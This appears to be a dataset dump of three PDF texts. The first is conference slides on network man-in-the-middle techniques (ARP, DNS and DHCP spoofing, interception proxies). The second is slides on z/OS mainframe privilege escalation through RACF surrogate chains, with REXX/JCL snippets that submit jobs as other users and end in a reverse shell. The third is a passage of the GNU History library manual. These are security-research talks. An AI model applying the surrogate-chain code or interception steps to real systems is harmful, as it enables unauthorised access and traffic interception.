text
stringlengths
100
9.93M
category
stringclasses
11 values
Anch Presents: The Monkey In the Middle A pen-testers guide to playing in traffic. Twitter: @boneheadsanon A little about me Over 10 years experience in testing pens (Fountain is my favorite) Why we play in traffic? ❖ Traffic is interesting stuff.! ❖ Gives us insight in to how things work.! ❖ Allows us to gather information on a target.! ❖ Allows us to change things as they go by.! ❖ Most importantly…. ! ❖ It allows us to prank our friends. How to get into traffic… ❖ Always wear a helmet…! ❖ It can be dangerous.! ❖ Really messes with networks.! ❖ Your host might not be fast enough.! ❖ Switches alert on some things.! ❖ IDS usually will catch it. How to get into traffic… ❖ A tool discussion! ❖ ARP Spoofing! ❖ DNS Poisoning/Spoofing! ❖ DHCP Snooping! ❖ Transparent Proxies The most dangerous option ARP Spoofing/ Poisoning arpspoof - Provided as part of the dsniff suite of tools.! ! ❖ EASILY detected on a network.! ❖ If done incorrectly can take down entire segments of the network.! ❖ Need a fairly powerful host to keep up with the traffic. Another, slightly less dangerous way DNS Poisoning/ Spoofing Cain is able to perform this function amongst other tools.! ! ❖ May still require you to ARP Spoof first.! ❖ Used in conjunction with other tools! ❖ Provides your IP address the answer to DNS queries. Still a little less dangerous DHCP Spoofing The ever famous ettercap provides this function in an excellent way.! ! ❖ Still need to be able to sniff traffic going to from your target (throwing star works well for this if you have physical access.! ❖ Switches can be configured to check for, deny, and alert on this attack.! ❖ Used in conjunction with other tools. Actually doing something with traffic once you have it… Proxies Multiple tools provide this service:! ❖ Burp! ❖ Mallory! ❖ Squid Proxies Burp Suite Java, runs on almost anything, lots of options in the free version, paid has even more.! ! ❖ Just Works most of the time.! ❖ Will hold http gets/posts based on configuration.! ❖ Can change cookies, variables, html responses.! ❖ Has powerful SSL options. Proxies Mallory! An excellent tool with very good SSL support, very fast and very configurable.! ! ❖ Linux/MacOS are easiest to get working.! ❖ Pretty advanced to get setup. Can be very picky.! ❖ Not a lot of pre-built tools for it. (Some firefox extensions)! ❖ Not maintained much. Proxies Squid Fast regular caching proxy. Can be setup to be transparent with iptables/pf! ! ❖ Good for fast static replacement.! ❖ Lots of modules and support.! ❖ Best to prank your friends with. SSH Monkey In the Middle Time for a DEMO! Lets Talk about Pranks… The “All Porn Internet” (Redux) No Demo, but it’s available.! ❖ Adjusts to your taste of pornography.! ❖ Won’t force it on you, you have to ask for it.! ❖ Gender/Preference Neutral! ! SSID: AllPr0nInternet! WPA: LetMeSeeIt! –Nancy Willard “Sometimes questions are more important than answers.”
pdf
Mainframe Surrogat Chains By Jake Labelle <[email protected]> 08/08/2020 Who Am I ● Jake Labelle ● Associate Security Consultant at F-Secure ● Been on a couple Mainframe Jobs (not a expert) ● Streaming from Basingstoke, UK ● Was going to put a picture but just look to the right z/OS High Level ● Mainframe operating System ● Datasets ● REXX ● JCL ● RACF ● OMVS DATASETS ● ‘USER01.REXXLIB(HELLO)’ ● FLAT FILESYSTEM ● APOSTROPHES ● PDS (MEMBERS) REXX ● SCRIPTING LANGUAGE ● ADDRESS ● OUTTRAP /*rexx*/ DATASET_TEST = “’USER2.TEST’” address TSO “LISTDSD “DATASET_TEST JCL ● JOB CONTROL LANGUAGE ● BATCH JOB ● JOB CARD - USER=X //USER1K JOB 'EXAMPLE',NOTIFY=&SYSUID,USER="id",MSGCLASS=H //TSOCMD EXEC PGM=IKJEFT01" //SYSTSPRT DD SYSOUT=*" //SYSTSIN DD *" EXEC 'GATOR.GATOR' '"oldid"'" //* JCL IN A REXX /*REXX*/ PARSE ARG id ',' oldid QUEUE "//"id"K JOB 'RECURSE',NOTIFY=&SYSUID,USER="id",MSGCLASS=H," QUEUE "// MSGLEVEL=(1,1)" QUEUE "//TSOCMD EXEC PGM=IKJEFT01" QUEUE "//SYSTSPRT DD SYSOUT=*" QUEUE "//SYSTSIN DD *" QUEUE "EXEC 'GATOR.GATOR' '"oldid"'" QUEUE "//*" QUEUE "$$" o = OUTTRAP("output.",,"CONCAT") "SUBMIT * END($$)" o = OUTTRAP(OFF) OMVS ● UNIX SUBSYSTEM ● LIKE WSL ● RACF MANAGES SECURITY RACF ● Resource Access Control Facility ● DIFFERENT TYPES OF RESOURCES E.G DATASETS, SURROGATS ● RESOURCE OWNERS ● UACC ● PERMIT ● SPECIAL = ROOT SURROGAT ● RACF RESOURCE ● *.SUBMIT ● BPX.SRV.* ● DFHSTART.* ● READ ACCESS SURROGAT CHAINS ● LOTS OF USERS – WHO KNOWS WHAT THEY WERE FOR ● RUNNING FOR DECADES ● USER1 → USER2 → USER3 ● RLIST SURROGAT * ● USER1 CANT SEE USER2 → USER3 ● *.SUBMIT IS A BATCH JOB ● COULD MANUALLY SUBMIT REVERSE SHELLS BUT SEE POINT 1 ● COULD USE A USER WITH READ ACCESS TO ALL RESOURCES (SPECIAL) GATOR ● BEGIN.REXX ● GATOR.REXX ● SUBM.REXX ● UNIXM.REXX ● PLUGINS.REXX BEGIN.REXX ● GETS OUTPUT DATASETS READY ● GETS UNIX FILES READY ● ADDS CURRENT USER TO PATH ● STARTS GATOR.REXX GATOR.REXX ● GETS PATH ● IF SPECIAL STOP ● RUNS PLUGINS.REXX ● LISTS SURROGATS ● CHECKS THAT SURROGATS HAVENT BEEN VISITED YET ● IF *.SUBMIT –> SUBM.REXX ● IF BPX.SRV.* –> UNIXM.REXX SUBM.REXX ● SUBMITS A JCL AS THE SURROGAT USER WHICH RUNS GATOR.REXX UNIXM.REXX ● JCL WHICH RUNS GATOR ● FILE IN OMVS ● GATOR CALL IT WITH ● bpxbatch sh su -s " [TARGET_USER] " -c '/ tmp/unixm PLUGINS.REXX ● LIST OF REXX SCRIPTS TO RUN ON EACH USER ● RUN ENUMERATION SCRIPTS ● EASY TO ADD MORE TESTING ● WITH ZPDT(EMUALTED ZOS) CREATED 1000 USERS ● RANDOMLY ASSIGNED A COUPLE OPERATORS AND SPECIAL ● ADD A COUPLE OF SURROGATS OF EACH TYPE TO EACH USER ● RAN GATOR GRAPHVIS SHELL MACRO ● FROM THE USER THAT RAN GATOR ● RECURSIVELY SUBMIT JCL PASSING THE TARGET AND HOW FAR IT IS IN THE PATH TO THE TARGET ● AT THE END SUBMIT A CATSO SHELL (LIKE A METERPRETER) SETUP.SH ● S3270 SCRIPT ● UPLOADS ALL THE REXX SCRIPTS TK4- ● BASED ON 1980’S MAINFRAME OS (MVS 3.8J) ● RUNS ON A RASPBERRY PI ● ALL OPENSOURCE/PUBLIC DOMAIN ● http://wotho.ethz.ch/tk4-/ ● Run mvs to start it ● X3270 [MVS IP] 3270 – (ONCE ITS READY) ● TOP RIGHT KEYBOARD – CLEAR ● USERNAME HERC01 PASSWORD CUL8TR KICKS AND BREXX ● KICKS A CICS CLONE CAN BE INSTALLED ● https://www.youtube.com/watch?v=u_ZSH9Oag TM ● BREXX CAN BE INSTALLED ALLOWING YOU TO RUN REXX SCRIPTS HERCULES ● Q Public Licence ● MAINFRAME EMULATOR ● TK4- RUNS ON THIS ● THERE IS A OLD ZOS VERSION ONLINE ● BUT PIRACY IS BAD MKAY
pdf
GNU History Library Edition 6.1, for History Library Version 6.1. October 2009 Chet Ramey, Case Western Reserve University Brian Fox, Free Software Foundation This document describes the GNU History library (version 6.1, 9 October 2009), a program- ming tool that provides a consistent user interface for recalling lines of previously typed input. Copyright c⃝ 1988–2009 Free Software Foundation, Inc. Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with the Front-Cover texts being “A GNU Manual”, and with the Back-Cover Texts as in (a) below. A copy of the license is included in the section entitled “GNU Free Documentation License”. (a) The FSF’s Back-Cover Text is: You are free to copy and modify this GNU manual. Buying copies from GNU Press supports the FSF in developing GNU and promoting software freedom.” Published by the Free Software Foundation 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA i Table of Contents 1 Using History Interactively . . . . . . . . . . . . . . . . . . . . 1 1.1 History Expansion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1.1 Event Designators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1.2 Word Designators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.1.3 Modifiers. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 Programming with GNU History . . . . . . . . . . . . . 4 2.1 Introduction to History. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 History Storage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.3 History Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3.1 Initializing History and State Management. . . . . . . . . . . . . . . . . 5 2.3.2 History List Management. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.3.3 Information About the History List. . . . . . . . . . . . . . . . . . . . . . . . 6 2.3.4 Moving Around the History List . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 2.3.5 Searching the History List . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.3.6 Managing the History File. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2.3.7 History Expansion. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.4 History Variables. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.5 History Programming Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Appendix A GNU Free Documentation License . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Appendix B Concept Index . . . . . . . . . . . . . . . . . . . . 20 Appendix C Function and Variable Index . . . . 21 Chapter 1: Using History Interactively 1 1 Using History Interactively This chapter describes how to use the gnu History Library interactively, from a user’s standpoint. It should be considered a user’s guide. For information on using the gnu History Library in your own programs, see Chapter 2 [Programming with GNU History], page 4. 1.1 History Expansion The History library provides a history expansion feature that is similar to the history expansion provided by csh. This section describes the syntax used to manipulate the history information. History expansions introduce words from the history list into the input stream, making it easy to repeat commands, insert the arguments to a previous command into the current input line, or fix errors in previous commands quickly. History expansion takes place in two parts. The first is to determine which line from the history list should be used during substitution. The second is to select portions of that line for inclusion into the current one. The line selected from the history is called the event, and the portions of that line that are acted upon are called words. Various modifiers are available to manipulate the selected words. The line is broken into words in the same fashion that Bash does, so that several words surrounded by quotes are considered one word. History expansions are introduced by the appearance of the history expansion character, which is ‘!’ by default. 1.1.1 Event Designators An event designator is a reference to a command line entry in the history list. ! Start a history substitution, except when followed by a space, tab, the end of the line, or ‘=’. !n Refer to command line n. !-n Refer to the command n lines back. !! Refer to the previous command. This is a synonym for ‘!-1’. !string Refer to the most recent command starting with string. !?string[?] Refer to the most recent command containing string. The trailing ‘?’ may be omitted if the string is followed immediately by a newline. ^string1^string2^ Quick Substitution. Repeat the last command, replacing string1 with string2. Equivalent to !!:s/string1/string2/. !# The entire command line typed so far. Chapter 1: Using History Interactively 2 1.1.2 Word Designators Word designators are used to select desired words from the event. A ‘:’ separates the event specification from the word designator. It may be omitted if the word designator begins with a ‘^’, ‘$’, ‘*’, ‘-’, or ‘%’. Words are numbered from the beginning of the line, with the first word being denoted by 0 (zero). Words are inserted into the current line separated by single spaces. For example, !! designates the preceding command. When you type this, the preceding com- mand is repeated in toto. !!:$ designates the last argument of the preceding command. This may be shortened to !$. !fi:2 designates the second argument of the most recent command starting with the letters fi. Here are the word designators: 0 (zero) The 0th word. For many applications, this is the command word. n The nth word. ^ The first argument; that is, word 1. $ The last argument. % The word matched by the most recent ‘?string?’ search. x-y A range of words; ‘-y’ abbreviates ‘0-y’. * All of the words, except the 0th. This is a synonym for ‘1-$’. It is not an error to use ‘*’ if there is just one word in the event; the empty string is returned in that case. x* Abbreviates ‘x-$’ x- Abbreviates ‘x-$’ like ‘x*’, but omits the last word. If a word designator is supplied without an event specification, the previous command is used as the event. 1.1.3 Modifiers After the optional word designator, you can add a sequence of one or more of the following modifiers, each preceded by a ‘:’. h Remove a trailing pathname component, leaving only the head. t Remove all leading pathname components, leaving the tail. r Remove a trailing suffix of the form ‘.suffix’, leaving the basename. e Remove all but the trailing suffix. p Print the new command but do not execute it. Chapter 1: Using History Interactively 3 s/old/new/ Substitute new for the first occurrence of old in the event line. Any delimiter may be used in place of ‘/’. The delimiter may be quoted in old and new with a single backslash. If ‘&’ appears in new, it is replaced by old. A single backslash will quote the ‘&’. The final delimiter is optional if it is the last character on the input line. & Repeat the previous substitution. g a Cause changes to be applied over the entire event line. Used in conjunction with ‘s’, as in gs/old/new/, or with ‘&’. G Apply the following ‘s’ modifier once to each word in the event. Chapter 2: Programming with GNU History 4 2 Programming with GNU History This chapter describes how to interface programs that you write with the gnu History Library. It should be considered a technical guide. For information on the interactive use of gnu History, see Chapter 1 [Using History Interactively], page 1. 2.1 Introduction to History Many programs read input from the user a line at a time. The gnu History library is able to keep track of those lines, associate arbitrary data with each line, and utilize information from previous lines in composing new ones. The programmer using the History library has available functions for remembering lines on a history list, associating arbitrary data with a line, removing lines from the list, searching through the list for a line containing an arbitrary text string, and referencing any line in the list directly. In addition, a history expansion function is available which provides for a consistent user interface across different programs. The user using programs written with the History library has the benefit of a consistent user interface with a set of well-known commands for manipulating the text of previous lines and using that text in new commands. The basic history manipulation commands are similar to the history substitution provided by csh. If the programmer desires, he can use the Readline library, which includes some history manipulation by default, and has the added advantage of command line editing. Before declaring any functions using any functionality the History library provides in other code, an application writer should include the file <readline/history.h> in any file that uses the History library’s features. It supplies extern declarations for all of the library’s public functions and variables, and declares all of the public data structures. 2.2 History Storage The history list is an array of history entries. A history entry is declared as follows: typedef void *histdata_t; typedef struct _hist_entry { char *line; char *timestamp; histdata_t data; } HIST_ENTRY; The history list itself might therefore be declared as HIST_ENTRY **the_history_list; The state of the History library is encapsulated into a single structure: /* * A structure used to pass around the current state of the history. */ typedef struct _hist_state { HIST_ENTRY **entries; /* Pointer to the entries themselves. */ int offset; /* The location pointer within this array. */ Chapter 2: Programming with GNU History 5 int length; /* Number of elements within this array. */ int size; /* Number of slots allocated to this array. */ int flags; } HISTORY_STATE; If the flags member includes HS_STIFLED, the history has been stifled. 2.3 History Functions This section describes the calling sequence for the various functions exported by the gnu History library. 2.3.1 Initializing History and State Management This section describes functions used to initialize and manage the state of the History library when you want to use the history functions in your program. [Function] void using_history (void) Begin a session in which the history functions might be used. This initializes the interactive variables. [Function] HISTORY_STATE * history_get_history_state (void) Return a structure describing the current state of the input history. [Function] void history_set_history_state (HISTORY STATE *state) Set the state of the history list according to state. 2.3.2 History List Management These functions manage individual entries on the history list, or set parameters managing the list itself. [Function] void add_history (const char *string) Place string at the end of the history list. The associated data field (if any) is set to NULL. [Function] void add_history_time (const char *string) Change the time stamp associated with the most recent history entry to string. [Function] HIST_ENTRY * remove_history (int which) Remove history entry at offset which from the history. The removed element is returned so you can free the line, data, and containing structure. [Function] histdata_t free_history_entry (HIST ENTRY *histent) Free the history entry histent and any history library private data associated with it. Returns the application-specific data so the caller can dispose of it. [Function] HIST_ENTRY * replace_history_entry (int which, const char *line, histdata t data) Make the history entry at offset which have line and data. This returns the old entry so the caller can dispose of any application-specific data. In the case of an invalid which, a NULL pointer is returned. Chapter 2: Programming with GNU History 6 [Function] void clear_history (void) Clear the history list by deleting all the entries. [Function] void stifle_history (int max) Stifle the history list, remembering only the last max entries. [Function] int unstifle_history (void) Stop stifling the history. This returns the previously-set maximum number of history entries (as set by stifle_history()). The value is positive if the history was stifled, negative if it wasn’t. [Function] int history_is_stifled (void) Returns non-zero if the history is stifled, zero if it is not. 2.3.3 Information About the History List These functions return information about the entire history list or individual list entries. [Function] HIST_ENTRY ** history_list (void) Return a NULL terminated array of HIST_ENTRY * which is the current input history. Element 0 of this list is the beginning of time. If there is no history, return NULL. [Function] int where_history (void) Returns the offset of the current history element. [Function] HIST_ENTRY * current_history (void) Return the history entry at the current position, as determined by where_history(). If there is no entry there, return a NULL pointer. [Function] HIST_ENTRY * history_get (int offset) Return the history entry at position offset, starting from history_base (see Sec- tion 2.4 [History Variables], page 8). If there is no entry there, or if offset is greater than the history length, return a NULL pointer. [Function] time_t history_get_time (HIST ENTRY *entry) Return the time stamp associated with the history entry entry. [Function] int history_total_bytes (void) Return the number of bytes that the primary history entries are using. This function returns the sum of the lengths of all the lines in the history. 2.3.4 Moving Around the History List These functions allow the current index into the history list to be set or changed. [Function] int history_set_pos (int pos) Set the current history offset to pos, an absolute index into the list. Returns 1 on success, 0 if pos is less than zero or greater than the number of history entries. [Function] HIST_ENTRY * previous_history (void) Back up the current history offset to the previous history entry, and return a pointer to that entry. If there is no previous entry, return a NULL pointer. Chapter 2: Programming with GNU History 7 [Function] HIST_ENTRY * next_history (void) Move the current history offset forward to the next history entry, and return the a pointer to that entry. If there is no next entry, return a NULL pointer. 2.3.5 Searching the History List These functions allow searching of the history list for entries containing a specific string. Searching may be performed both forward and backward from the current history position. The search may be anchored, meaning that the string must match at the beginning of the history entry. [Function] int history_search (const char *string, int direction) Search the history for string, starting at the current history offset. If direction is less than 0, then the search is through previous entries, otherwise through subsequent entries. If string is found, then the current history index is set to that history entry, and the value returned is the offset in the line of the entry where string was found. Otherwise, nothing is changed, and a -1 is returned. [Function] int history_search_prefix (const char *string, int direction) Search the history for string, starting at the current history offset. The search is anchored: matching lines must begin with string. If direction is less than 0, then the search is through previous entries, otherwise through subsequent entries. If string is found, then the current history index is set to that entry, and the return value is 0. Otherwise, nothing is changed, and a -1 is returned. [Function] int history_search_pos (const char *string, int direction, int pos) Search for string in the history list, starting at pos, an absolute index into the list. If direction is negative, the search proceeds backward from pos, otherwise forward. Returns the absolute index of the history element where string was found, or -1 otherwise. 2.3.6 Managing the History File The History library can read the history from and write it to a file. This section documents the functions for managing a history file. [Function] int read_history (const char *filename) Add the contents of filename to the history list, a line at a time. If filename is NULL, then read from ‘~/.history’. Returns 0 if successful, or errno if not. [Function] int read_history_range (const char *filename, int from, int to) Read a range of lines from filename, adding them to the history list. Start reading at line from and end at to. If from is zero, start at the beginning. If to is less than from, then read until the end of the file. If filename is NULL, then read from ‘~/.history’. Returns 0 if successful, or errno if not. [Function] int write_history (const char *filename) Write the current history to filename, overwriting filename if necessary. If filename is NULL, then write the history list to ‘~/.history’. Returns 0 on success, or errno on a read or write error. Chapter 2: Programming with GNU History 8 [Function] int append_history (int nelements, const char *filename) Append the last nelements of the history list to filename. If filename is NULL, then append to ‘~/.history’. Returns 0 on success, or errno on a read or write error. [Function] int history_truncate_file (const char *filename, int nlines) Truncate the history file filename, leaving only the last nlines lines. If filename is NULL, then ‘~/.history’ is truncated. Returns 0 on success, or errno on failure. 2.3.7 History Expansion These functions implement history expansion. [Function] int history_expand (char *string, char **output) Expand string, placing the result into output, a pointer to a string (see Section 1.1 [History Interaction], page 1). Returns: 0 If no expansions took place (or, if the only change in the text was the removal of escape characters preceding the history expansion character); 1 if expansions did take place; -1 if there was an error in expansion; 2 if the returned line should be displayed, but not executed, as with the :p modifier (see Section 1.1.3 [Modifiers], page 2). If an error ocurred in expansion, then output contains a descriptive error message. [Function] char * get_history_event (const char *string, int *cindex, int qchar) Returns the text of the history event beginning at string + *cindex. *cindex is modified to point to after the event specifier. At function entry, cindex points to the index into string where the history event specification begins. qchar is a character that is allowed to end the event specification in addition to the “normal” terminating characters. [Function] char ** history_tokenize (const char *string) Return an array of tokens parsed out of string, much as the shell might. The tokens are split on the characters in the history word delimiters variable, and shell quoting conventions are obeyed. [Function] char * history_arg_extract (int first, int last, const char *string) Extract a string segment consisting of the first through last arguments present in string. Arguments are split using history_tokenize. 2.4 History Variables This section describes the externally-visible variables exported by the gnu History Library. [Variable] int history_base The logical offset of the first entry in the history list. [Variable] int history_length The number of entries currently stored in the history list. Chapter 2: Programming with GNU History 9 [Variable] int history_max_entries The maximum number of history entries. This must be changed using stifle_ history(). [Variable] int history_write_timestamps If non-zero, timestamps are written to the history file, so they can be preserved between sessions. The default value is 0, meaning that timestamps are not saved. [Variable] char history_expansion_char The character that introduces a history event. The default is ‘!’. Setting this to 0 inhibits history expansion. [Variable] char history_subst_char The character that invokes word substitution if found at the start of a line. The default is ‘^’. [Variable] char history_comment_char During tokenization, if this character is seen as the first character of a word, then it and all subsequent characters up to a newline are ignored, suppressing history expansion for the remainder of the line. This is disabled by default. [Variable] char * history_word_delimiters The characters that separate tokens for history_tokenize(). The default value is " \t\n()<>;&|". [Variable] char * history_search_delimiter_chars The list of additional characters which can delimit a history search string, in addition to space, TAB, ‘:’ and ‘?’ in the case of a substring search. The default is empty. [Variable] char * history_no_expand_chars The list of characters which inhibit history expansion if found immediately following history expansion char. The default is space, tab, newline, carriage return, and ‘=’. [Variable] int history_quotes_inhibit_expansion If non-zero, single-quoted words are not scanned for the history expansion character. The default value is 0. [Variable] rl_linebuf_func_t * history_inhibit_expansion_function This should be set to the address of a function that takes two arguments: a char * (string) and an int index into that string (i). It should return a non-zero value if the history expansion starting at string[i] should not be performed; zero if the expansion should be done. It is intended for use by applications like Bash that use the history expansion character for additional purposes. By default, this variable is set to NULL. 2.5 History Programming Example The following program demonstrates simple use of the gnu History Library. #include <stdio.h> #include <readline/history.h> main (argc, argv) Chapter 2: Programming with GNU History 10 int argc; char **argv; { char line[1024], *t; int len, done = 0; line[0] = 0; using_history (); while (!done) { printf ("history$ "); fflush (stdout); t = fgets (line, sizeof (line) - 1, stdin); if (t && *t) { len = strlen (t); if (t[len - 1] == ’\n’) t[len - 1] = ’\0’; } if (!t) strcpy (line, "quit"); if (line[0]) { char *expansion; int result; result = history_expand (line, &expansion); if (result) fprintf (stderr, "%s\n", expansion); if (result < 0 || result == 2) { free (expansion); continue; } add_history (expansion); strncpy (line, expansion, sizeof (line) - 1); free (expansion); } if (strcmp (line, "quit") == 0) done = 1; else if (strcmp (line, "save") == 0) write_history ("history_file"); else if (strcmp (line, "read") == 0) read_history ("history_file"); else if (strcmp (line, "list") == 0) { register HIST_ENTRY **the_list; register int i; the_list = history_list (); if (the_list) for (i = 0; the_list[i]; i++) Chapter 2: Programming with GNU History 11 printf ("%d: %s\n", i + history_base, the_list[i]->line); } else if (strncmp (line, "delete", 6) == 0) { int which; if ((sscanf (line + 6, "%d", &which)) == 1) { HIST_ENTRY *entry = remove_history (which); if (!entry) fprintf (stderr, "No such entry %d\n", which); else { free (entry->line); free (entry); } } else { fprintf (stderr, "non-numeric arg given to ‘delete’\n"); } } } } Appendix A: GNU Free Documentation License 12 Appendix A GNU Free Documentation License Version 1.3, 3 November 2008 Copyright c⃝ 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. http://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other functional and useful document free in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or non- commercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of “copyleft”, which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The “Document”, below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as “you”. You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A “Modified Version” of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A “Secondary Section” is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document’s overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The “Invariant Sections” are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released Appendix A: GNU Free Documentation License 13 under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The “Cover Texts” are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A “Transparent” copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images com- posed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not “Transparent” is called “Opaque”. Examples of suitable formats for Transparent copies include plain ascii without markup, Texinfo input format, LaTEX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The “Title Page” means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, “Title Page” means the text near the most prominent appearance of the work’s title, preceding the beginning of the body of the text. The “publisher” means any person or entity that distributes copies of the Document to the public. A section “Entitled XYZ” means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as “Acknowledgements”, “Dedications”, “Endorsements”, or “History”.) To “Preserve the Title” of such a section when you modify the Document means that it remains a section “Entitled XYZ” according to this definition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. 2. VERBATIM COPYING Appendix A: GNU Free Documentation License 14 You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document’s license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. 4. MODIFICATIONS You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version: A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, Appendix A: GNU Free Documentation License 15 be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modified Version, as the publisher. D. Preserve all the copyright notices of the Document. E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document’s license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled “History”, Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled “History” in the Docu- ment, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the “History” section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled “Acknowledgements” or “Dedications”, Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in 